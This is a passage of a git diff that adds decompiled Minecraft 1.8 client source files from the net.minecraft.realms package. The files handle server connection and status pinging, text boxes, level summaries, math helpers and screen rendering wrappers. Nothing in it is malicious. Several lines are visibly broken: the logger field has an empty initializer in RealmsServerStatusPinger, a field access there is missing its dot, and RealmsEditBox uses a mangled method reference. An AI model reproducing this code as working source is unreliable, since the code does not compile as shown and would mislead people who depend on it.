+          if (aborted)
+          {
+            return;
+          }
+          
+          connection.sendPacket(new net.minecraft.network.handshake.client.C00Handshake(47, p_connect_1_, p_connect_2_, EnumConnectionState.LOGIN));
+          
+          if (aborted)
+          {
+            return;
+          }
+          
+          connection.sendPacket(new C00PacketLoginStart(Minecraft.getMinecraft().getSession().getProfile()));
+        }
+        catch (UnknownHostException var5)
+        {
+          if (aborted)
+          {
+            return;
+          }
+          
+          RealmsConnect.LOGGER.error("Couldn't connect to world", var5);
+          Realms.setScreen(new DisconnectedRealmsScreen(onlineScreen, "connect.failed", new ChatComponentTranslation("disconnect.genericReason", new Object[] { "Unknown host '" + p_connect_1_ + "'" })));
+        }
+        catch (Exception var6)
+        {
+          if (aborted)
+          {
+            return;
+          }
+          
+          RealmsConnect.LOGGER.error("Couldn't connect to world", var6);
+          String var3 = var6.toString();
+          
+          if (var1 != null)
+          {
+            String var4 = var1.toString() + ":" + p_connect_2_;
+            var3 = var3.replaceAll(var4, "");
+          }
+          
+          Realms.setScreen(new DisconnectedRealmsScreen(onlineScreen, "connect.failed", new ChatComponentTranslation("disconnect.genericReason", new Object[] { var3 })));
+        }
+      }
+    }.start();
+  }
+  
+  public void abort()
+  {
+    aborted = true;
+  }
+  
+  public void tick()
+  {
+    if (connection != null)
+    {
+      if (connection.isChannelOpen())
+      {
+        connection.processReceivedPackets();
+      }
+      else
+      {
+        connection.checkDisconnected();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsEditBox.java b/src/minecraft/net/minecraft/realms/RealmsEditBox.java
new file mode 100644
index 0000000..f27cd86
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsEditBox.java
@@ -0,0 +1,65 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiTextField;
+
+public class RealmsEditBox
+{
+  private final GuiTextField editBox;
+  private static final String __OBFID = "CL_00001858";
+  
+  public RealmsEditBox(int p_i45743_1_, int p_i45743_2_, int p_i45743_3_, int p_i45743_4_, int p_i45743_5_)
+  {
+    editBox = new GuiTextField(p_i45743_1_, getMinecraftfontRendererObj, p_i45743_2_, p_i45743_3_, p_i45743_4_, p_i45743_5_);
+  }
+  
+  public String getValue()
+  {
+    return editBox.getText();
+  }
+  
+  public void tick()
+  {
+    editBox.updateCursorCounter();
+  }
+  
+  public void setFocus(boolean p_setFocus_1_)
+  {
+    editBox.setFocused(p_setFocus_1_);
+  }
+  
+  public void setValue(String p_setValue_1_)
+  {
+    editBox.setText(p_setValue_1_);
+  }
+  
+  public void keyPressed(char p_keyPressed_1_, int p_keyPressed_2_)
+  {
+    editBox.textboxKeyTyped(p_keyPressed_1_, p_keyPressed_2_);
+  }
+  
+  public boolean isFocused()
+  {
+    return editBox.isFocused();
+  }
+  
+  public void mouseClicked(int p_mouseClicked_1_, int p_mouseClicked_2_, int p_mouseClicked_3_)
+  {
+    editBox.mouseClicked(p_mouseClicked_1_, p_mouseClicked_2_, p_mouseClicked_3_);
+  }
+  
+  public void render()
+  {
+    editBox.drawTextBox();
+  }
+  
+  public void setMaxLength(int p_setMaxLength_1_)
+  {
+    editBox.setMaxStringLength(p_setMaxLength_1_);
+  }
+  
+  public void setIsEditable(boolean p_setIsEditable_1_)
+  {
+    editBox.setEnabled(p_setIsEditable_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsLevelSummary.java b/src/minecraft/net/minecraft/realms/RealmsLevelSummary.java
new file mode 100644
index 0000000..41b668b
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsLevelSummary.java
@@ -0,0 +1,69 @@
+package net.minecraft.realms;
+
+import net.minecraft.world.storage.SaveFormatComparator;
+
+public class RealmsLevelSummary implements Comparable
+{
+  private SaveFormatComparator levelSummary;
+  private static final String __OBFID = "CL_00001857";
+  
+  public RealmsLevelSummary(SaveFormatComparator p_i1109_1_)
+  {
+    levelSummary = p_i1109_1_;
+  }
+  
+  public int getGameMode()
+  {
+    return levelSummary.getEnumGameType().getID();
+  }
+  
+  public String getLevelId()
+  {
+    return levelSummary.getFileName();
+  }
+  
+  public boolean hasCheats()
+  {
+    return levelSummary.getCheatsEnabled();
+  }
+  
+  public boolean isHardcore()
+  {
+    return levelSummary.isHardcoreModeEnabled();
+  }
+  
+  public boolean isRequiresConversion()
+  {
+    return levelSummary.requiresConversion();
+  }
+  
+  public String getLevelName()
+  {
+    return levelSummary.getDisplayName();
+  }
+  
+  public long getLastPlayed()
+  {
+    return levelSummary.getLastTimePlayed();
+  }
+  
+  public int compareTo(SaveFormatComparator p_compareTo_1_)
+  {
+    return levelSummary.compareTo(p_compareTo_1_);
+  }
+  
+  public long getSizeOnDisk()
+  {
+    return levelSummary.func_154336_c();
+  }
+  
+  public int compareTo(RealmsLevelSummary p_compareTo_1_)
+  {
+    return levelSummary.getLastTimePlayed() > p_compareTo_1_.getLastPlayed() ? -1 : levelSummary.getLastTimePlayed() < p_compareTo_1_.getLastPlayed() ? 1 : levelSummary.getFileName().compareTo(p_compareTo_1_.getLevelId());
+  }
+  
+  public int compareTo(Object p_compareTo_1_)
+  {
+    return compareTo((RealmsLevelSummary)p_compareTo_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsMth.java b/src/minecraft/net/minecraft/realms/RealmsMth.java
new file mode 100644
index 0000000..b0b7133
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsMth.java
@@ -0,0 +1,175 @@
+package net.minecraft.realms;
+
+import net.minecraft.util.MathHelper;
+
+public class RealmsMth
+{
+  private static final String __OBFID = "CL_00001900";
+  
+  public RealmsMth() {}
+  
+  public static float sin(float p_sin_0_)
+  {
+    return MathHelper.sin(p_sin_0_);
+  }
+  
+  public static double nextDouble(java.util.Random p_nextDouble_0_, double p_nextDouble_1_, double p_nextDouble_3_)
+  {
+    return MathHelper.getRandomDoubleInRange(p_nextDouble_0_, p_nextDouble_1_, p_nextDouble_3_);
+  }
+  
+  public static int ceil(float p_ceil_0_)
+  {
+    return MathHelper.ceiling_float_int(p_ceil_0_);
+  }
+  
+  public static int floor(double p_floor_0_)
+  {
+    return MathHelper.floor_double(p_floor_0_);
+  }
+  
+  public static int intFloorDiv(int p_intFloorDiv_0_, int p_intFloorDiv_1_)
+  {
+    return MathHelper.bucketInt(p_intFloorDiv_0_, p_intFloorDiv_1_);
+  }
+  
+  public static float abs(float p_abs_0_)
+  {
+    return MathHelper.abs(p_abs_0_);
+  }
+  
+  public static int clamp(int p_clamp_0_, int p_clamp_1_, int p_clamp_2_)
+  {
+    return MathHelper.clamp_int(p_clamp_0_, p_clamp_1_, p_clamp_2_);
+  }
+  
+  public static double clampedLerp(double p_clampedLerp_0_, double p_clampedLerp_2_, double p_clampedLerp_4_)
+  {
+    return MathHelper.denormalizeClamp(p_clampedLerp_0_, p_clampedLerp_2_, p_clampedLerp_4_);
+  }
+  
+  public static int ceil(double p_ceil_0_)
+  {
+    return MathHelper.ceiling_double_int(p_ceil_0_);
+  }
+  
+  public static boolean isEmpty(String p_isEmpty_0_)
+  {
+    return org.apache.commons.lang3.StringUtils.isEmpty(p_isEmpty_0_);
+  }
+  
+  public static long lfloor(double p_lfloor_0_)
+  {
+    return MathHelper.floor_double_long(p_lfloor_0_);
+  }
+  
+  public static float sqrt(double p_sqrt_0_)
+  {
+    return MathHelper.sqrt_double(p_sqrt_0_);
+  }
+  
+  public static double clamp(double p_clamp_0_, double p_clamp_2_, double p_clamp_4_)
+  {
+    return MathHelper.clamp_double(p_clamp_0_, p_clamp_2_, p_clamp_4_);
+  }
+  
+  public static int getInt(String p_getInt_0_, int p_getInt_1_)
+  {
+    return MathHelper.parseIntWithDefault(p_getInt_0_, p_getInt_1_);
+  }
+  
+  public static double getDouble(String p_getDouble_0_, double p_getDouble_1_)
+  {
+    return MathHelper.parseDoubleWithDefault(p_getDouble_0_, p_getDouble_1_);
+  }
+  
+  public static int log2(int p_log2_0_)
+  {
+    return MathHelper.calculateLogBaseTwo(p_log2_0_);
+  }
+  
+  public static int absFloor(double p_absFloor_0_)
+  {
+    return MathHelper.func_154353_e(p_absFloor_0_);
+  }
+  
+  public static int smallestEncompassingPowerOfTwo(int p_smallestEncompassingPowerOfTwo_0_)
+  {
+    return MathHelper.roundUpToPowerOfTwo(p_smallestEncompassingPowerOfTwo_0_);
+  }
+  
+  public static float sqrt(float p_sqrt_0_)
+  {
+    return MathHelper.sqrt_float(p_sqrt_0_);
+  }
+  
+  public static float cos(float p_cos_0_)
+  {
+    return MathHelper.cos(p_cos_0_);
+  }
+  
+  public static int getInt(String p_getInt_0_, int p_getInt_1_, int p_getInt_2_)
+  {
+    return MathHelper.parseIntWithDefaultAndMax(p_getInt_0_, p_getInt_1_, p_getInt_2_);
+  }
+  
+  public static int fastFloor(double p_fastFloor_0_)
+  {
+    return MathHelper.truncateDoubleToInt(p_fastFloor_0_);
+  }
+  
+  public static double absMax(double p_absMax_0_, double p_absMax_2_)
+  {
+    return MathHelper.abs_max(p_absMax_0_, p_absMax_2_);
+  }
+  
+  public static float nextFloat(java.util.Random p_nextFloat_0_, float p_nextFloat_1_, float p_nextFloat_2_)
+  {
+    return MathHelper.randomFloatClamp(p_nextFloat_0_, p_nextFloat_1_, p_nextFloat_2_);
+  }
+  
+  public static double wrapDegrees(double p_wrapDegrees_0_)
+  {
+    return MathHelper.wrapAngleTo180_double(p_wrapDegrees_0_);
+  }
+  
+  public static float wrapDegrees(float p_wrapDegrees_0_)
+  {
+    return MathHelper.wrapAngleTo180_float(p_wrapDegrees_0_);
+  }
+  
+  public static float clamp(float p_clamp_0_, float p_clamp_1_, float p_clamp_2_)
+  {
+    return MathHelper.clamp_float(p_clamp_0_, p_clamp_1_, p_clamp_2_);
+  }
+  
+  public static double getDouble(String p_getDouble_0_, double p_getDouble_1_, double p_getDouble_3_)
+  {
+    return MathHelper.parseDoubleWithDefaultAndMax(p_getDouble_0_, p_getDouble_1_, p_getDouble_3_);
+  }
+  
+  public static int roundUp(int p_roundUp_0_, int p_roundUp_1_)
+  {
+    return MathHelper.func_154354_b(p_roundUp_0_, p_roundUp_1_);
+  }
+  
+  public static double average(long[] p_average_0_)
+  {
+    return MathHelper.average(p_average_0_);
+  }
+  
+  public static int floor(float p_floor_0_)
+  {
+    return MathHelper.floor_float(p_floor_0_);
+  }
+  
+  public static int abs(int p_abs_0_)
+  {
+    return MathHelper.abs_int(p_abs_0_);
+  }
+  
+  public static int nextInt(java.util.Random p_nextInt_0_, int p_nextInt_1_, int p_nextInt_2_)
+  {
+    return MathHelper.getRandomIntegerInRange(p_nextInt_0_, p_nextInt_1_, p_nextInt_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsScreen.java b/src/minecraft/net/minecraft/realms/RealmsScreen.java
new file mode 100644
index 0000000..4f431b8
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsScreen.java
@@ -0,0 +1,227 @@
+package net.minecraft.realms;
+
+import com.mojang.util.UUIDTypeAdapter;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.gui.GuiScreenRealmsProxy;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+
+public class RealmsScreen
+{
+  public static final int SKIN_HEAD_U = 8;
+  public static final int SKIN_HEAD_V = 8;
+  public static final int SKIN_HEAD_WIDTH = 8;
+  public static final int SKIN_HEAD_HEIGHT = 8;
+  public static final int SKIN_HAT_U = 40;
+  public static final int SKIN_HAT_V = 8;
+  public static final int SKIN_HAT_WIDTH = 8;
+  public static final int SKIN_HAT_HEIGHT = 8;
+  public static final int SKIN_TEX_WIDTH = 64;
+  public static final int SKIN_TEX_HEIGHT = 64;
+  protected Minecraft minecraft;
+  public int width;
+  public int height;
+  private GuiScreenRealmsProxy proxy = new GuiScreenRealmsProxy(this);
+  private static final String __OBFID = "CL_00001898";
+  
+  public RealmsScreen() {}
+  
+  public GuiScreenRealmsProxy getProxy() { return proxy; }
+  
+
+  public void init() {}
+  
+  public void init(Minecraft p_init_1_, int p_init_2_, int p_init_3_) {}
+  
+  public void drawCenteredString(String p_drawCenteredString_1_, int p_drawCenteredString_2_, int p_drawCenteredString_3_, int p_drawCenteredString_4_)
+  {
+    proxy.func_154325_a(p_drawCenteredString_1_, p_drawCenteredString_2_, p_drawCenteredString_3_, p_drawCenteredString_4_);
+  }
+  
+  public void drawString(String p_drawString_1_, int p_drawString_2_, int p_drawString_3_, int p_drawString_4_)
+  {
+    proxy.func_154322_b(p_drawString_1_, p_drawString_2_, p_drawString_3_, p_drawString_4_);
+  }
+  
+  public void blit(int p_blit_1_, int p_blit_2_, int p_blit_3_, int p_blit_4_, int p_blit_5_, int p_blit_6_)
+  {
+    proxy.drawTexturedModalRect(p_blit_1_, p_blit_2_, p_blit_3_, p_blit_4_, p_blit_5_, p_blit_6_);
+  }
+  
+  public static void blit(int p_blit_0_, int p_blit_1_, float p_blit_2_, float p_blit_3_, int p_blit_4_, int p_blit_5_, int p_blit_6_, int p_blit_7_, float p_blit_8_, float p_blit_9_)
+  {
+    Gui.drawScaledCustomSizeModalRect(p_blit_0_, p_blit_1_, p_blit_2_, p_blit_3_, p_blit_4_, p_blit_5_, p_blit_6_, p_blit_7_, p_blit_8_, p_blit_9_);
+  }
+  
+  public static void blit(int p_blit_0_, int p_blit_1_, float p_blit_2_, float p_blit_3_, int p_blit_4_, int p_blit_5_, float p_blit_6_, float p_blit_7_)
+  {
+    Gui.drawModalRectWithCustomSizedTexture(p_blit_0_, p_blit_1_, p_blit_2_, p_blit_3_, p_blit_4_, p_blit_5_, p_blit_6_, p_blit_7_);
+  }
+  
+  public void fillGradient(int p_fillGradient_1_, int p_fillGradient_2_, int p_fillGradient_3_, int p_fillGradient_4_, int p_fillGradient_5_, int p_fillGradient_6_)
+  {
+    proxy.drawGradientRect(p_fillGradient_1_, p_fillGradient_2_, p_fillGradient_3_, p_fillGradient_4_, p_fillGradient_5_, p_fillGradient_6_);
+  }
+  
+  public void renderBackground()
+  {
+    proxy.drawDefaultBackground();
+  }
+  
+  public boolean isPauseScreen()
+  {
+    return proxy.doesGuiPauseGame();
+  }
+  
+  public void renderBackground(int p_renderBackground_1_)
+  {
+    proxy.drawWorldBackground(p_renderBackground_1_);
+  }
+  
+  public void render(int p_render_1_, int p_render_2_, float p_render_3_)
+  {
+    for (int var4 = 0; var4 < proxy.func_154320_j().size(); var4++)
+    {
+      ((RealmsButton)proxy.func_154320_j().get(var4)).render(p_render_1_, p_render_2_);
+    }
+  }
+  
+  public void renderTooltip(ItemStack p_renderTooltip_1_, int p_renderTooltip_2_, int p_renderTooltip_3_)
+  {
+    proxy.renderToolTip(p_renderTooltip_1_, p_renderTooltip_2_, p_renderTooltip_3_);
+  }
+  
+  public void renderTooltip(String p_renderTooltip_1_, int p_renderTooltip_2_, int p_renderTooltip_3_)
+  {
+    proxy.drawCreativeTabHoveringText(p_renderTooltip_1_, p_renderTooltip_2_, p_renderTooltip_3_);
+  }
+  
+  public void renderTooltip(List p_renderTooltip_1_, int p_renderTooltip_2_, int p_renderTooltip_3_)
+  {
+    proxy.drawHoveringText(p_renderTooltip_1_, p_renderTooltip_2_, p_renderTooltip_3_);
+  }
+  
+  public static void bindFace(String p_bindFace_0_, String p_bindFace_1_)
+  {
+    ResourceLocation var2 = AbstractClientPlayer.getLocationSkin(p_bindFace_1_);
+    
+    if (var2 == null)
+    {
+      var2 = net.minecraft.client.resources.DefaultPlayerSkin.func_177334_a(UUIDTypeAdapter.fromString(p_bindFace_0_));
+    }
+    
+    AbstractClientPlayer.getDownloadImageSkin(var2, p_bindFace_1_);
+    Minecraft.getMinecraft().getTextureManager().bindTexture(var2);
+  }
+  
+  public static void bind(String p_bind_0_)
+  {
+    ResourceLocation var1 = new ResourceLocation(p_bind_0_);
+    Minecraft.getMinecraft().getTextureManager().bindTexture(var1);
+  }
+  
+  public void tick() {}
+  
+  public int width()
+  {
+    return proxy.width;
+  }
+  
+  public int height()
+  {
+    return proxy.height;
+  }
+  
+  public int fontLineHeight()
+  {
+    return proxy.func_154329_h();
+  }
+  
+  public int fontWidth(String p_fontWidth_1_)
+  {
+    return proxy.func_154326_c(p_fontWidth_1_);
+  }
+  
+  public void fontDrawShadow(String p_fontDrawShadow_1_, int p_fontDrawShadow_2_, int p_fontDrawShadow_3_, int p_fontDrawShadow_4_)
+  {
+    proxy.func_154319_c(p_fontDrawShadow_1_, p_fontDrawShadow_2_, p_fontDrawShadow_3_, p_fontDrawShadow_4_);
+  }
+  
+  public List fontSplit(String p_fontSplit_1_, int p_fontSplit_2_)
+  {
+    return proxy.func_154323_a(p_fontSplit_1_, p_fontSplit_2_);
+  }
+  
+  public void buttonClicked(RealmsButton p_buttonClicked_1_) {}
+  
+  public static RealmsButton newButton(int p_newButton_0_, int p_newButton_1_, int p_newButton_2_, String p_newButton_3_)
+  {
+    return new RealmsButton(p_newButton_0_, p_newButton_1_, p_newButton_2_, p_newButton_3_);
+  }
+  
+  public static RealmsButton newButton(int p_newButton_0_, int p_newButton_1_, int p_newButton_2_, int p_newButton_3_, int p_newButton_4_, String p_newButton_5_)
+  {
+    return new RealmsButton(p_newButton_0_, p_newButton_1_, p_newButton_2_, p_newButton_3_, p_newButton_4_, p_newButton_5_);
+  }
+  
+  public void buttonsClear()
+  {
+    proxy.func_154324_i();
+  }
+  
+  public void buttonsAdd(RealmsButton p_buttonsAdd_1_)
+  {
+    proxy.func_154327_a(p_buttonsAdd_1_);
+  }
+  
+  public List buttons()
+  {
+    return proxy.func_154320_j();
+  }
+  
+  public void buttonsRemove(RealmsButton p_buttonsRemove_1_)
+  {
+    proxy.func_154328_b(p_buttonsRemove_1_);
+  }
+  
+  public RealmsEditBox newEditBox(int p_newEditBox_1_, int p_newEditBox_2_, int p_newEditBox_3_, int p_newEditBox_4_, int p_newEditBox_5_)
+  {
+    return new RealmsEditBox(p_newEditBox_1_, p_newEditBox_2_, p_newEditBox_3_, p_newEditBox_4_, p_newEditBox_5_);
+  }
+  
+  public void mouseClicked(int p_mouseClicked_1_, int p_mouseClicked_2_, int p_mouseClicked_3_) {}
+  
+  public void mouseEvent() {}
+  
+  public void keyboardEvent() {}
+  
+  public void mouseReleased(int p_mouseReleased_1_, int p_mouseReleased_2_, int p_mouseReleased_3_) {}
+  
+  public void mouseDragged(int p_mouseDragged_1_, int p_mouseDragged_2_, int p_mouseDragged_3_, long p_mouseDragged_4_) {}
+  
+  public void keyPressed(char p_keyPressed_1_, int p_keyPressed_2_) {}
+  
+  public void confirmResult(boolean p_confirmResult_1_, int p_confirmResult_2_) {}
+  
+  public static String getLocalizedString(String p_getLocalizedString_0_)
+  {
+    return I18n.format(p_getLocalizedString_0_, new Object[0]);
+  }
+  
+  public static String getLocalizedString(String p_getLocalizedString_0_, Object... p_getLocalizedString_1_)
+  {
+    return I18n.format(p_getLocalizedString_0_, p_getLocalizedString_1_);
+  }
+  
+  public RealmsAnvilLevelStorageSource getLevelStorageSource()
+  {
+    return new RealmsAnvilLevelStorageSource(Minecraft.getMinecraft().getSaveLoader());
+  }
+  
+  public void removed() {}
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsScrolledSelectionList.java b/src/minecraft/net/minecraft/realms/RealmsScrolledSelectionList.java
new file mode 100644
index 0000000..47e1d50
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsScrolledSelectionList.java
@@ -0,0 +1,82 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.gui.GuiSlotRealmsProxy;
+
+public class RealmsScrolledSelectionList
+{
+  private final GuiSlotRealmsProxy proxy;
+  private static final String __OBFID = "CL_00001863";
+  
+  public RealmsScrolledSelectionList(int p_i1119_1_, int p_i1119_2_, int p_i1119_3_, int p_i1119_4_, int p_i1119_5_)
+  {
+    proxy = new GuiSlotRealmsProxy(this, p_i1119_1_, p_i1119_2_, p_i1119_3_, p_i1119_4_, p_i1119_5_);
+  }
+  
+  public void render(int p_render_1_, int p_render_2_, float p_render_3_)
+  {
+    proxy.drawScreen(p_render_1_, p_render_2_, p_render_3_);
+  }
+  
+  public int width()
+  {
+    return proxy.func_154338_k();
+  }
+  
+  public int ym()
+  {
+    return proxy.func_154339_l();
+  }
+  
+  public int xm()
+  {
+    return proxy.func_154337_m();
+  }
+  
+  protected void renderItem(int p_renderItem_1_, int p_renderItem_2_, int p_renderItem_3_, int p_renderItem_4_, Tezzelator p_renderItem_5_, int p_renderItem_6_, int p_renderItem_7_) {}
+  
+  public void renderItem(int p_renderItem_1_, int p_renderItem_2_, int p_renderItem_3_, int p_renderItem_4_, int p_renderItem_5_, int p_renderItem_6_)
+  {
+    renderItem(p_renderItem_1_, p_renderItem_2_, p_renderItem_3_, p_renderItem_4_, Tezzelator.instance, p_renderItem_5_, p_renderItem_6_);
+  }
+  
+  public int getItemCount()
+  {
+    return 0;
+  }
+  
+  public void selectItem(int p_selectItem_1_, boolean p_selectItem_2_, int p_selectItem_3_, int p_selectItem_4_) {}
+  
+  public boolean isSelectedItem(int p_isSelectedItem_1_)
+  {
+    return false;
+  }
+  
+  public void renderBackground() {}
+  
+  public int getMaxPosition()
+  {
+    return 0;
+  }
+  
+  public int getScrollbarPosition()
+  {
+    return proxy.func_154338_k() / 2 + 124;
+  }
+  
+  public void mouseEvent()
+  {
+    proxy.func_178039_p();
+  }
+  
+  public void scroll(int p_scroll_1_)
+  {
+    proxy.scrollBy(p_scroll_1_);
+  }
+  
+  public int getScroll()
+  {
+    return proxy.getAmountScrolled();
+  }
+  
+  protected void renderList(int p_renderList_1_, int p_renderList_2_, int p_renderList_3_, int p_renderList_4_) {}
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsServerAddress.java b/src/minecraft/net/minecraft/realms/RealmsServerAddress.java
new file mode 100644
index 0000000..bddbc14
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsServerAddress.java
@@ -0,0 +1,32 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.multiplayer.ServerAddress;
+
+public class RealmsServerAddress
+{
+  private final String host;
+  private final int port;
+  private static final String __OBFID = "CL_00001864";
+  
+  protected RealmsServerAddress(String p_i1121_1_, int p_i1121_2_)
+  {
+    host = p_i1121_1_;
+    port = p_i1121_2_;
+  }
+  
+  public String getHost()
+  {
+    return host;
+  }
+  
+  public int getPort()
+  {
+    return port;
+  }
+  
+  public static RealmsServerAddress parseString(String p_parseString_0_)
+  {
+    ServerAddress var1 = ServerAddress.func_78860_a(p_parseString_0_);
+    return new RealmsServerAddress(var1.getIP(), var1.getPort());
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsServerPing.java b/src/minecraft/net/minecraft/realms/RealmsServerPing.java
new file mode 100644
index 0000000..ee58f65
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsServerPing.java
@@ -0,0 +1,10 @@
+package net.minecraft.realms;
+
+public class RealmsServerPing
+{
+  public volatile String nrOfPlayers = "0";
+  public volatile long lastPingSnapshot = 0L;
+  private static final String __OBFID = "CL_00002328";
+  
+  public RealmsServerPing() {}
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsServerStatusPinger.java b/src/minecraft/net/minecraft/realms/RealmsServerStatusPinger.java
new file mode 100644
index 0000000..61fc750
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsServerStatusPinger.java
@@ -0,0 +1,122 @@
+package net.minecraft.realms;
+
+import com.google.common.collect.Lists;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.ServerStatusResponse;
+import net.minecraft.network.ServerStatusResponse.PlayerCountData;
+import net.minecraft.network.status.INetHandlerStatusClient;
+import net.minecraft.network.status.client.C00PacketServerQuery;
+import net.minecraft.network.status.client.C01PacketPing;
+import net.minecraft.network.status.server.S00PacketServerInfo;
+import net.minecraft.network.status.server.S01PacketPong;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsServerStatusPinger
+{
+  private static final Logger LOGGER = ;
+  private final List connections = Collections.synchronizedList(Lists.newArrayList());
+  private static final String __OBFID = "CL_00001854";
+  
+  public RealmsServerStatusPinger() {}
+  
+  public void pingServer(final String p_pingServer_1_, final RealmsServerPing p_pingServer_2_) throws UnknownHostException { if ((p_pingServer_1_ != null) && (!p_pingServer_1_.startsWith("0.0.0.0")) && (!p_pingServer_1_.isEmpty()))
+    {
+      RealmsServerAddress var3 = RealmsServerAddress.parseString(p_pingServer_1_);
+      final NetworkManager var4 = NetworkManager.provideLanClient(InetAddress.getByName(var3.getHost()), var3.getPort());
+      connections.add(var4);
+      var4.setNetHandler(new INetHandlerStatusClient()
+      {
+        private boolean field_154345_e = false;
+        private static final String __OBFID = "CL_00001807";
+        
+        public void handleServerInfo(S00PacketServerInfo packetIn) {
+          ServerStatusResponse var2 = packetIn.func_149294_c();
+          
+          if (var2.getPlayerCountData() != null)
+          {
+            p_pingServer_2_nrOfPlayers = String.valueOf(var2.getPlayerCountData().getOnlinePlayerCount());
+          }
+          
+          var4.sendPacket(new C01PacketPing(Realms.currentTimeMillis()));
+          field_154345_e = true;
+        }
+        
+        public void handlePong(S01PacketPong packetIn) {
+          var4.closeChannel(new ChatComponentText("Finished"));
+        }
+        
+        public void onDisconnect(IChatComponent reason) {
+          if (!field_154345_e)
+          {
+            RealmsServerStatusPinger.LOGGER.error("Can't ping " + p_pingServer_1_ + ": " + reason.getUnformattedText());
+          }
+        }
+      });
+      
+      try
+      {
+        var4.sendPacket(new net.minecraft.network.handshake.client.C00Handshake(RealmsSharedConstants.NETWORK_PROTOCOL_VERSION, var3.getHost(), var3.getPort(), EnumConnectionState.STATUS));
+        var4.sendPacket(new C00PacketServerQuery());
+      }
+      catch (Throwable var6)
+      {
+        LOGGER.error(var6);
+      }
+    }
+  }
+  
+  public void tick()
+  {
+    List var1 = connections;
+    
+    synchronized (connections)
+    {
+      Iterator var2 = connections.iterator();
+      
+      while (var2.hasNext())
+      {
+        NetworkManager var3 = (NetworkManager)var2.next();
+        
+        if (var3.isChannelOpen())
+        {
+          var3.processReceivedPackets();
+        }
+        else
+        {
+          var2.remove();
+          var3.checkDisconnected();
+        }
+      }
+    }
+  }
+  
+  public void removeAll()
+  {
+    List var1 = connections;
+    
+    synchronized (connections)
+    {
+      Iterator var2 = connections.iterator();
+      
+      while (var2.hasNext())
+      {
+        NetworkManager var3 = (NetworkManager)var2.next();
+        
+        if (var3.isChannelOpen())
+        {
+          var2.remove();
+          var3.closeChannel(new ChatComponentText("Cancelled"));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsSharedConstants.java b/src/minecraft/net/minecraft/realms/RealmsSharedConstants.java
new file mode 100644
index 0000000..5eaa17e
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsSharedConstants.java
@@ -0,0 +1,14 @@
+package net.minecraft.realms;
+
+import net.minecraft.util.ChatAllowedCharacters;
+
+public class RealmsSharedConstants
+{
+  public static int NETWORK_PROTOCOL_VERSION = 47;
+  public static int TICKS_PER_SECOND = 20;
+  public static String VERSION_STRING = "1.8";
+  public static char[] ILLEGAL_FILE_CHARACTERS = ChatAllowedCharacters.allowedCharactersArray;
+  private static final String __OBFID = "CL_00001866";
+  
+  public RealmsSharedConstants() {}
+}
diff --git a/src/minecraft/net/minecraft/realms/RealmsSimpleScrolledSelectionList.java b/src/minecraft/net/minecraft/realms/RealmsSimpleScrolledSelectionList.java
new file mode 100644
index 0000000..d7f5563
--- /dev/null
+++ b/src/minecraft/net/minecraft/realms/RealmsSimpleScrolledSelectionList.java
@@ -0,0 +1,82 @@
+package net.minecraft.realms;
+
+import net.minecraft.client.gui.GuiSimpleScrolledSelectionListProxy;
+
+public class RealmsSimpleScrolledSelectionList
+{
+  private final GuiSimpleScrolledSelectionListProxy proxy;
+  private static final String __OBFID = "CL_00002186";
+  
+  public RealmsSimpleScrolledSelectionList(int p_i45803_1_, int p_i45803_2_, int p_i45803_3_, int p_i45803_4_, int p_i45803_5_)
+  {
+    proxy = new GuiSimpleScrolledSelectionListProxy(this, p_i45803_1_, p_i45803_2_, p_i45803_3_, p_i45803_4_, p_i45803_5_);
+  }
+  
+  public void render(int p_render_1_, int p_render_2_, float p_render_3_)
+  {
+    proxy.drawScreen(p_render_1_, p_render_2_, p_render_3_);
+  }
+  
+  public int width()
+  {
+    return proxy.func_178048_e();
+  }
+  
+  public int ym()
+  {
+    return proxy.func_178047_f();
+  }
+  
+  public int xm()
+  {
+    return proxy.func_178049_g();
+  }
+  
+  protected void renderItem(int p_renderItem_1_, int p_renderItem_2_, int p_renderItem_3_, int p_renderItem_4_, Tezzelator p_renderItem_5_, int p_renderItem_6_, int p_renderItem_7_) {}
+  
+  public void renderItem(int p_renderItem_1_, int p_renderItem_2_, int p_renderItem_3_, int p_renderItem_4_, int p_renderItem_5_, int p_renderItem_6_)
+  {
+    renderItem(p_renderItem_1_, p_renderItem_2_, p_renderItem_3_, p_renderItem_4_, Tezzelator.instance, p_renderItem_5_, p_renderItem_6_);
+  }
+  
+  public int getItemCount()
+  {
+    return 0;
+  }
+  
+  public void selectItem(int p_selectItem_1_, boolean p_selectItem_2_, int p_selectItem_3_, int p_selectItem_4_) {}
+  
